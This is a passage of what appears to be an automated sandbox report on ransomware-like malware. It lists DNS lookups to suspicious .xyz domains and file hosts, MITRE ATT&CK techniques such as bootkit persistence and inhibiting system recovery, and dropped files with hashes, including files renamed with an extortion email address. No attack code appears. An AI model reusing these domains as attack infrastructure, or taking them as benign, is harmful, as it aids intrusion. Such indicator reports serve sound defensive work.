                                    DNS Request

                                    136.32.126.40.in-addr.arpa

                                  • 8.8.8.8:53
                                    95.221.229.192.in-addr.arpa
                                    dns
                                    73 B
                                     144 B
                                     1
                                    1

                                    DNS Request

                                    95.221.229.192.in-addr.arpa

                                  • 8.8.8.8:53
                                    43.58.199.20.in-addr.arpa
                                    dns
                                    71 B
                                     157 B
                                     1
                                    1

                                    DNS Request

                                    43.58.199.20.in-addr.arpa

                                  • 8.8.8.8:53
                                    amxt25.xyz
                                    dns
                                    certreq.exe
                                    56 B
                                     72 B
                                     1
                                    1

                                    DNS Request

                                    amxt25.xyz

                                    DNS Response

                                    45.131.66.61

                                  • 8.8.8.8:53
                                    146.78.124.51.in-addr.arpa
                                    dns
                                    72 B
                                     158 B
                                     1
                                    1

                                    DNS Request

                                    146.78.124.51.in-addr.arpa

                                  • 8.8.8.8:53
                                    61.66.131.45.in-addr.arpa
                                    dns
                                    142 B
                                     130 B
                                     2
                                    1

                                    DNS Request

                                    61.66.131.45.in-addr.arpa

                                    DNS Request

                                    61.66.131.45.in-addr.arpa

                                  • 8.8.8.8:53
                                    50.23.12.20.in-addr.arpa
                                    dns
                                    70 B
                                     156 B
                                     1
                                    1

                                    DNS Request

                                    50.23.12.20.in-addr.arpa

                                  • 8.8.8.8:53
                                    15.164.165.52.in-addr.arpa
                                    dns
                                    72 B
                                     146 B
                                     1
                                    1

                                    DNS Request

                                    15.164.165.52.in-addr.arpa

                                  • 8.8.8.8:53
                                    126.22.238.8.in-addr.arpa
                                    dns
                                    71 B
                                     125 B
                                     1
                                    1

                                    DNS Request

                                    126.22.238.8.in-addr.arpa

                                  • 8.8.8.8:53
                                    servermlogs27.xyz
                                    dns
                                    svchost.exe
                                    63 B
                                     79 B
                                     1
                                    1

                                    DNS Request

                                    servermlogs27.xyz

                                    DNS Response

                                    45.131.66.120

                                  • 8.8.8.8:53
                                    xemtex534.xyz
                                    dns
                                    59 B
                                     75 B
                                     1
                                    1

                                    DNS Request

                                    xemtex534.xyz

                                    DNS Response

                                    45.131.66.222

                                  • 8.8.8.8:53
                                    120.66.131.45.in-addr.arpa
                                    dns
                                    72 B
                                     131 B
                                     1
                                    1

                                    DNS Request

                                    120.66.131.45.in-addr.arpa

                                  • 8.8.8.8:53
                                    222.66.131.45.in-addr.arpa
                                    dns
                                    72 B
                                     131 B
                                     1
                                    1

                                    DNS Request

                                    222.66.131.45.in-addr.arpa

                                  • 8.8.8.8:53
                                    files.catbox.moe
                                    dns
                                    62 B
                                     78 B
                                     1
                                    1

                                    DNS Request

                                    files.catbox.moe

                                    DNS Response

                                    108.181.20.35

                                  • 8.8.8.8:53
                                    35.20.181.108.in-addr.arpa
                                    dns
                                    72 B
                                     134 B
                                     1
                                    1

                                    DNS Request

                                    35.20.181.108.in-addr.arpa

                                  • 8.8.8.8:53
                                    shorturl.at
                                    dns
                                    57 B
                                     105 B
                                     1
                                    1

                                    DNS Request

                                    shorturl.at

                                    DNS Response

                                    172.67.69.88
                                    104.26.9.129
                                    104.26.8.129

                                  • 8.8.8.8:53
                                    www.shorturl.at
                                    dns
                                    61 B
                                     109 B
                                     1
                                    1

                                    DNS Request

                                    www.shorturl.at

                                    DNS Response

                                    104.26.8.129
                                    104.26.9.129
                                    172.67.69.88

                                  • 8.8.8.8:53
                                    www.dropbox.com
                                    dns
                                    61 B
                                     111 B
                                     1
                                    1

                                    DNS Request

                                    www.dropbox.com

                                    DNS Response

                                    162.125.8.18

                                  • 8.8.8.8:53
                                    88.69.67.172.in-addr.arpa
                                    dns
                                    71 B
                                     133 B
                                     1
                                    1

                                    DNS Request

                                    88.69.67.172.in-addr.arpa

                                  • 8.8.8.8:53
                                    129.8.26.104.in-addr.arpa
                                    dns
                                    71 B
                                     133 B
                                     1
                                    1

                                    DNS Request

                                    129.8.26.104.in-addr.arpa

                                  • 8.8.8.8:53
                                    18.8.125.162.in-addr.arpa
                                    dns
                                    71 B
                                     121 B
                                     1
                                    1

                                    DNS Request

                                    18.8.125.162.in-addr.arpa

                                  • 8.8.8.8:53
                                    rl.ammyy.com
                                    dns
                                    svchost.exe
                                    58 B
                                     74 B
                                     1
                                    1

                                    DNS Request

                                    rl.ammyy.com

                                    DNS Response

                                    188.42.129.148

                                  • 8.8.8.8:53
                                    226.162.46.104.in-addr.arpa
                                    dns
                                    73 B
                                     147 B
                                     1
                                    1

                                    DNS Request

                                    226.162.46.104.in-addr.arpa

                                  • 8.8.8.8:53
                                    148.129.42.188.in-addr.arpa
                                    dns
                                    73 B
                                     146 B
                                     1
                                    1

                                    DNS Request

                                    148.129.42.188.in-addr.arpa

                                  • 8.8.8.8:53
                                    242.104.243.136.in-addr.arpa
                                    dns
                                    74 B
                                     133 B
                                     1
                                    1

                                    DNS Request

                                    242.104.243.136.in-addr.arpa

                                  • 8.8.8.8:53
                                    www.ammyy.com
                                    dns
                                    svchost.exe
                                    59 B
                                     75 B
                                     1
                                    1

                                    DNS Request

                                    www.ammyy.com

                                    DNS Response

                                    136.243.18.118

                                  • 8.8.8.8:53
                                    118.18.243.136.in-addr.arpa
                                    dns
                                    73 B
                                     131 B
                                     1
                                    1

                                    DNS Request

                                    118.18.243.136.in-addr.arpa

                                  • 8.8.8.8:53
                                    147.174.42.23.in-addr.arpa
                                    dns
                                    72 B
                                     137 B
                                     1
                                    1

                                    DNS Request

                                    147.174.42.23.in-addr.arpa

                                  • 8.8.8.8:53
                                    9.175.53.84.in-addr.arpa
                                    dns
                                    70 B
                                     133 B
                                     1
                                    1

                                    DNS Request

                                    9.175.53.84.in-addr.arpa

                                  MITRE ATT&CK Enterprise v15

                                  Reconnaissance

                                  Resource Development

                                  Initial Access

                                  Execution

                                  Command and Scripting Interpreter

                                  1
                                  T1059

                                  Persistence

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  1
                                  T1547.001

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Windows Service

                                  1
                                  T1543.003

                                  Pre-OS Boot

                                  1
                                  T1542

                                  Bootkit

                                  1
                                  T1542.003

                                  Privilege Escalation

                                  Boot or Logon Autostart Execution

                                  1
                                  T1547

                                  Registry Run Keys / Startup Folder

                                  1
                                  T1547.001

                                  Create or Modify System Process

                                  1
                                  T1543

                                  Windows Service

                                  1
                                  T1543.003

                                  Defense Evasion

                                  Indicator Removal

                                  3
                                  T1070

                                  File Deletion

                                  3
                                  T1070.004

                                  Modify Registry

                                  1
                                  T1112

                                  Pre-OS Boot

                                  1
                                  T1542

                                  Bootkit

                                  1
                                  T1542.003

                                  Credential Access

                                  Unsecured Credentials

                                  1
                                  T1552

                                  Credentials In Files

                                  1
                                  T1552.001

                                  Discovery

                                  Peripheral Device Discovery

                                  1
                                  T1120

                                  Query Registry

                                  4
                                  T1012

                                  System Information Discovery

                                  3
                                  T1082

                                  Lateral Movement

                                  Collection

                                  Data from Local System

                                  1
                                  T1005

                                  Email Collection

                                  1
                                  T1114

                                  Command and Control

                                  Exfiltration

                                  Impact

                                  Inhibit System Recovery

                                  4
                                  T1490

                                  Replay Monitor

                                  Loading Replay Monitor...

                                  Downloads

                                  • C:\Program Files\Common Files\microsoft shared\ClickToRun\C2R32.dll.id[805E56EE-3483].[support@rexsdata.pro].8base
                                    Filesize

                                    2.7MB

                                    MD5

                                    c25964a94f7f00cd6834e168823dcdf4

                                    SHA1

                                    b50653f8088b199467a579bfe9f9e3f35668cce7

                                    SHA256

                                    036c17e7cfdbb6ad285240c757c9a05776e7fb366994f2888033cfda528b4fed

                                    SHA512

                                    bec58b7dacf9a88872fb37e7cef03639669bf0d3590309d35dd6514fbf307684ca83fc0e7907263bffe631cc700540425e8ac42e7527fb89f197e328420433c1

                                    Download Submit

                                  • C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\139E.exe
                                    Filesize

                                    420KB

                                    MD5

                                    16a47e164bd3d0ded59d301a75362a09

                                    SHA1

                                    cd0d5d280208f0f8a93549a727df797e6ea2dd49

                                    SHA256

                                    68e04834ecd4bd7e4fc7c29f5314fb785e2232c43d02564feb20bc8569cbd315

                                    SHA512

                                    589618430010de95b7f0f8f9f3ecf5fef7d6cb79d75705fb201ace7dce1477ba459483605882cfd700aa4730dceb94b9b6735c375c82d311184ecea42adc88f7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\139E.exe.log
                                    Filesize

                                    927B

                                    MD5

                                    4a911455784f74e368a4c2c7876d76f4

                                    SHA1

                                    a1700a0849ffb4f26671eb76da2489946b821c34

                                    SHA256

                                    264098e15b5b33d425f3b76e45b7976b58f917048125041135f7e60d8151108c

                                    SHA512

                                    4617591400409e1930195795a55e20d5f063042bb3e9fd1955099066e507b6ac8a1e3ae54cc42418e2639149b31bf7e58cd5743670d9030a15e29f14d813815d

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\V]5jPPdpdb.exe
                                    Filesize

                                    227KB

                                    MD5

                                    2544c951135bba7846e943cf22a7eb59

                                    SHA1

                                    099bf354174088d2c0cf68638bb441be60d7775f

                                    SHA256

                                    14eed4f96b35da8dec987d582a64b691a3be3f0f3e6a0ccab47ba4b5717969a9

                                    SHA512

                                    e4a44e1b0969dce3cd2181ca77ed4dce6efa2a5510ac8136309402391a2d09c2cbf78c8261a895edcdca5dcb9c28c437f63ff02d2ddea0b7a2bd49e9d1ca2bff

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    Filesize

                                    535KB

                                    MD5

                                    ecfe62777946dfed18d22fc8b2015a37

                                    SHA1

                                    ec602fc687056f285587b1182fa9777bbf50ab63

                                    SHA256

                                    4911e4611c08d1a54bbe1a3a7d8d801e468968825ed639ed22880fc7e1b0ae7a

                                    SHA512

                                    05657c0add30a2616042f87c0ea91d7faedf69b4e9bd9ff693bc7a1f854c8ab09a423d19ff165dfa9208e14bbfa2dbf7f468f3fce970d6aaa3cfa9fc76b0374b

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    Filesize

                                    535KB

                                    MD5

                                    ecfe62777946dfed18d22fc8b2015a37

                                    SHA1

                                    ec602fc687056f285587b1182fa9777bbf50ab63

                                    SHA256

                                    4911e4611c08d1a54bbe1a3a7d8d801e468968825ed639ed22880fc7e1b0ae7a

                                    SHA512

                                    05657c0add30a2616042f87c0ea91d7faedf69b4e9bd9ff693bc7a1f854c8ab09a423d19ff165dfa9208e14bbfa2dbf7f468f3fce970d6aaa3cfa9fc76b0374b

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    Filesize

                                    535KB

                                    MD5

                                    ecfe62777946dfed18d22fc8b2015a37

                                    SHA1

                                    ec602fc687056f285587b1182fa9777bbf50ab63

                                    SHA256

                                    4911e4611c08d1a54bbe1a3a7d8d801e468968825ed639ed22880fc7e1b0ae7a

                                    SHA512

                                    05657c0add30a2616042f87c0ea91d7faedf69b4e9bd9ff693bc7a1f854c8ab09a423d19ff165dfa9208e14bbfa2dbf7f468f3fce970d6aaa3cfa9fc76b0374b

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Microsoft\m_Rb%.exe
                                    Filesize

                                    535KB

                                    MD5

                                    ecfe62777946dfed18d22fc8b2015a37

                                    SHA1

                                    ec602fc687056f285587b1182fa9777bbf50ab63

                                    SHA256

                                    4911e4611c08d1a54bbe1a3a7d8d801e468968825ed639ed22880fc7e1b0ae7a

                                    SHA512

                                    05657c0add30a2616042f87c0ea91d7faedf69b4e9bd9ff693bc7a1f854c8ab09a423d19ff165dfa9208e14bbfa2dbf7f468f3fce970d6aaa3cfa9fc76b0374b

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\139E.exe
                                    Filesize

                                    420KB

                                    MD5

                                    16a47e164bd3d0ded59d301a75362a09

                                    SHA1

                                    cd0d5d280208f0f8a93549a727df797e6ea2dd49

                                    SHA256

                                    68e04834ecd4bd7e4fc7c29f5314fb785e2232c43d02564feb20bc8569cbd315

                                    SHA512

                                    589618430010de95b7f0f8f9f3ecf5fef7d6cb79d75705fb201ace7dce1477ba459483605882cfd700aa4730dceb94b9b6735c375c82d311184ecea42adc88f7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\139E.exe
                                    Filesize

                                    420KB

                                    MD5

                                    16a47e164bd3d0ded59d301a75362a09

                                    SHA1

                                    cd0d5d280208f0f8a93549a727df797e6ea2dd49

                                    SHA256

                                    68e04834ecd4bd7e4fc7c29f5314fb785e2232c43d02564feb20bc8569cbd315

                                    SHA512

                                    589618430010de95b7f0f8f9f3ecf5fef7d6cb79d75705fb201ace7dce1477ba459483605882cfd700aa4730dceb94b9b6735c375c82d311184ecea42adc88f7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\139E.exe
                                    Filesize

                                    420KB

                                    MD5

                                    16a47e164bd3d0ded59d301a75362a09

                                    SHA1

                                    cd0d5d280208f0f8a93549a727df797e6ea2dd49

                                    SHA256

                                    68e04834ecd4bd7e4fc7c29f5314fb785e2232c43d02564feb20bc8569cbd315

                                    SHA512

                                    589618430010de95b7f0f8f9f3ecf5fef7d6cb79d75705fb201ace7dce1477ba459483605882cfd700aa4730dceb94b9b6735c375c82d311184ecea42adc88f7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\139E.exe
                                    Filesize

                                    420KB

                                    MD5

                                    16a47e164bd3d0ded59d301a75362a09

                                    SHA1

                                    cd0d5d280208f0f8a93549a727df797e6ea2dd49

                                    SHA256

                                    68e04834ecd4bd7e4fc7c29f5314fb785e2232c43d02564feb20bc8569cbd315

                                    SHA512

                                    589618430010de95b7f0f8f9f3ecf5fef7d6cb79d75705fb201ace7dce1477ba459483605882cfd700aa4730dceb94b9b6735c375c82d311184ecea42adc88f7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\139E.exe
                                    Filesize

                                    420KB

                                    MD5

                                    16a47e164bd3d0ded59d301a75362a09

                                    SHA1

                                    cd0d5d280208f0f8a93549a727df797e6ea2dd49

                                    SHA256

                                    68e04834ecd4bd7e4fc7c29f5314fb785e2232c43d02564feb20bc8569cbd315

                                    SHA512

                                    589618430010de95b7f0f8f9f3ecf5fef7d6cb79d75705fb201ace7dce1477ba459483605882cfd700aa4730dceb94b9b6735c375c82d311184ecea42adc88f7

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1544.exe
                                    Filesize

                                    468KB

                                    MD5

                                    20bb118569b859e64feaaf30227e04b8

                                    SHA1

                                    3fb2c608529575ad4b06770e130eb9d2d0750ed7

                                    SHA256

                                    c1d2e8b7b961e48a1ee4877d3f527f038697e0dfcda69b8cd470900b73e1e674

                                    SHA512

                                    567906d7b98058ec24c1455d5167ee13127ce6739350f1f38954c01e46f96ba0851d6c88ef49a192edb53c5f759ab8663c7ac9fcc795c35db98165d11259587c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1544.exe
                                    Filesize

                                    468KB

                                    MD5

                                    20bb118569b859e64feaaf30227e04b8

                                    SHA1

                                    3fb2c608529575ad4b06770e130eb9d2d0750ed7

                                    SHA256

                                    c1d2e8b7b961e48a1ee4877d3f527f038697e0dfcda69b8cd470900b73e1e674

                                    SHA512

                                    567906d7b98058ec24c1455d5167ee13127ce6739350f1f38954c01e46f96ba0851d6c88ef49a192edb53c5f759ab8663c7ac9fcc795c35db98165d11259587c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\1544.exe
                                    Filesize

                                    468KB

                                    MD5

                                    20bb118569b859e64feaaf30227e04b8

                                    SHA1

                                    3fb2c608529575ad4b06770e130eb9d2d0750ed7

                                    SHA256

                                    c1d2e8b7b961e48a1ee4877d3f527f038697e0dfcda69b8cd470900b73e1e674

                                    SHA512

                                    567906d7b98058ec24c1455d5167ee13127ce6739350f1f38954c01e46f96ba0851d6c88ef49a192edb53c5f759ab8663c7ac9fcc795c35db98165d11259587c

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\aa_nts.dll
                                    Filesize

                                    902KB

                                    MD5

                                    480a66902e6e7cdafaa6711e8697ff8c

                                    SHA1

                                    6ac730962e7c1dba9e2ecc5733a506544f3c8d11

                                    SHA256

                                    7eaaaa6010bbcd6bb8c9ad08d4b0966c7aedc9b2ac24758f170012ac36e508b5

                                    SHA512

                                    7d010cd47b7d1adf66f9c97afc6c3805997aa5c7cc6ff13eddee81f24cf2b95a3fe375ec5b3d6185c0bc8840b4ad91ae143c73a39af26391cc182ab6a1793ba5

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\aa_nts.dll
                                    Filesize

                                    902KB

                                    MD5

                                    480a66902e6e7cdafaa6711e8697ff8c

                                    SHA1

                                    6ac730962e7c1dba9e2ecc5733a506544f3c8d11

                                    SHA256

                                    7eaaaa6010bbcd6bb8c9ad08d4b0966c7aedc9b2ac24758f170012ac36e508b5

                                    SHA512

                                    7d010cd47b7d1adf66f9c97afc6c3805997aa5c7cc6ff13eddee81f24cf2b95a3fe375ec5b3d6185c0bc8840b4ad91ae143c73a39af26391cc182ab6a1793ba5

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\aa_nts.msg
                                    Filesize

                                    46B

                                    MD5

                                    3f05819f995b4dafa1b5d55ce8d1f411

                                    SHA1

                                    404449b79a16bfc4f64f2fd55cd73d5d27a85d71

                                    SHA256

                                    7e0bf0cbd06a087500a9c3b50254df3a8a2c2980921ab6a62ab1121941c80fc0

                                    SHA512

                                    34abb7df8b3a68e1649ff0d2762576a4d4e65da548e74b1aa65c2b82c1b89f90d053ecddac67c614ca6084dc5b2cb552949250fb70f49b536f1bcb0057717026

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\svchost.exe
                                    Filesize

                                    798KB

                                    MD5

                                    90aadf2247149996ae443e2c82af3730

                                    SHA1

                                    050b7eba825412b24e3f02d76d7da5ae97e10502

                                    SHA256

                                    ee573647477339784dcef81024de1be1762833a20e5cc2b89a93e47d05b86b6a

                                    SHA512

                                    eec32bb82b230dd309c29712e72d4469250e651449e127479d178eddbafd5a46ec8048a753bc2c1a0fdf1dc3ed72a9453ca66fb49cbf0f95a12704e5427182be

                                    Download Submit

                                  • C:\Users\Admin\AppData\Local\Temp\DCBA.tmp\svchost.exe
                                    Filesize

                                    798KB

                                    MD5

                                    90aadf2247149996ae443e2c82af3730

                                    SHA1

                                    050b7eba825412b24e3f02d76d7da5ae97e10502

                                    SHA256

                                    ee573647477339784dcef81024de1be1762833a20e5cc2b89a93e47d05b86b6a

                                    SHA512

                                    eec32bb82b230dd309c29712e72d4469250e651449e127479d178eddbafd5a46ec8048a753bc2c1a0fdf1dc3ed72a9453ca66fb49cbf0f95a12704e5427182be

                                    Download Submit

                                  • C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\x00o19f5.default-release\cookies.sqlite.id[805E56EE-3483].[support@rexsdata.pro].8base
                                    Filesize

                                    96KB

                                    MD5

                                    a03719011c7f7d4d176ed5fb73c85c3c

                                    SHA1

                                    d6a00d0bc32ac61a6def8ba8d37b68ccd4f27db0

                                    SHA256

                                    beb7f0db5fb24252c5edeec8bd914984dd13e68eae61ffb527093752bd3a7e88

                                    SHA512

                                    928013e3a93b7ce1ac0e99fbf58e4e92ab6e0ac61de16203ea629513ff5e25bfe792c4c64cb58060862f63933a14da323731bc3c00ee90ab9fc71a981c07e6ea

                                    Download Submit

                                  • memory/1064-130-0x0000000000400000-0x0000000000413000-memory.dmp

                                    Filesize

                                    76KB

                                    Download

                                  • memory/1156-82-0x0000000000400000-0x000000000040B000-memory.dmp

                                    Filesize

                                    44KB

                                    Download

                                  • memory/1156-87-0x0000000000400000-0x000000000040B000-memory.dmp

                                    Filesize

                                    44KB

                                    Download

                                  • memory/1156-79-0x0000000000400000-0x000000000040B000-memory.dmp

                                    Filesize

                                    44KB

                                    Download

                                  • memory/2456-54-0x00000000053F0000-0x000000000542E000-memory.dmp

                                    Filesize

                                    248KB

                                    Download

                                  • memory/2456-55-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/2456-77-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/2456-58-0x0000000005560000-0x0000000005570000-memory.dmp

                                    Filesize

                                    64KB

                                    Download

                                  • memory/2456-57-0x0000000005470000-0x000000000549C000-memory.dmp

                                    Filesize

                                    176KB

                                    Download

                                  • memory/2456-52-0x0000000000BB0000-0x0000000000BF0000-memory.dmp

                                    Filesize

                                    256KB

                                    Download

                                  • memory/2736-124-0x0000000004F10000-0x0000000004F20000-memory.dmp

                                    Filesize

                                    64KB

                                    Download

                                  • memory/2736-122-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/2736-131-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/3060-118-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/3060-102-0x00000000048C0000-0x0000000004906000-memory.dmp

                                    Filesize

                                    280KB

                                    Download

                                  • memory/3060-103-0x0000000004A40000-0x0000000004A50000-memory.dmp

                                    Filesize

                                    64KB

                                    Download

                                  • memory/3060-104-0x0000000004900000-0x0000000004934000-memory.dmp

                                    Filesize

                                    208KB

                                    Download

                                  • memory/3060-101-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/3060-100-0x0000000000010000-0x0000000000080000-memory.dmp

                                    Filesize

                                    448KB

                                    Download

                                  • memory/3128-86-0x0000000002CA0000-0x0000000002CB6000-memory.dmp

                                    Filesize

                                    88KB

                                    Download

                                  • memory/3128-1749-0x00000000070B0000-0x00000000070C0000-memory.dmp

                                    Filesize

                                    64KB

                                    Download

                                  • memory/3128-1760-0x0000000007070000-0x0000000007072000-memory.dmp

                                    Filesize

                                    8KB

                                    Download

                                  • memory/3128-1771-0x00000000070B0000-0x00000000070C0000-memory.dmp

                                    Filesize

                                    64KB

                                    Download

                                  • memory/3364-4-0x0000000005950000-0x00000000059B8000-memory.dmp

                                    Filesize

                                    416KB

                                    Download

                                  • memory/3364-6-0x0000000006020000-0x00000000065C4000-memory.dmp

                                    Filesize

                                    5.6MB

                                    Download

                                  • memory/3364-11-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/3364-5-0x00000000059C0000-0x0000000005A0C000-memory.dmp

                                    Filesize

                                    304KB

                                    Download

                                  • memory/3364-0-0x0000000000EC0000-0x0000000000F3A000-memory.dmp

                                    Filesize

                                    488KB

                                    Download

                                  • memory/3364-1-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

                                    7.7MB

                                    Download

                                  • memory/3364-3-0x0000000005820000-0x0000000005830000-memory.dmp

                                    Filesize

                                    64KB

                                    Download

                                  • memory/3364-2-0x00000000058A0000-0x0000000005918000-memory.dmp

                                    Filesize

                                    480KB

                                    Download

                                  • memory/4368-63-0x0000000074E20000-0x00000000755D0000-memory.dmp

                                    Filesize

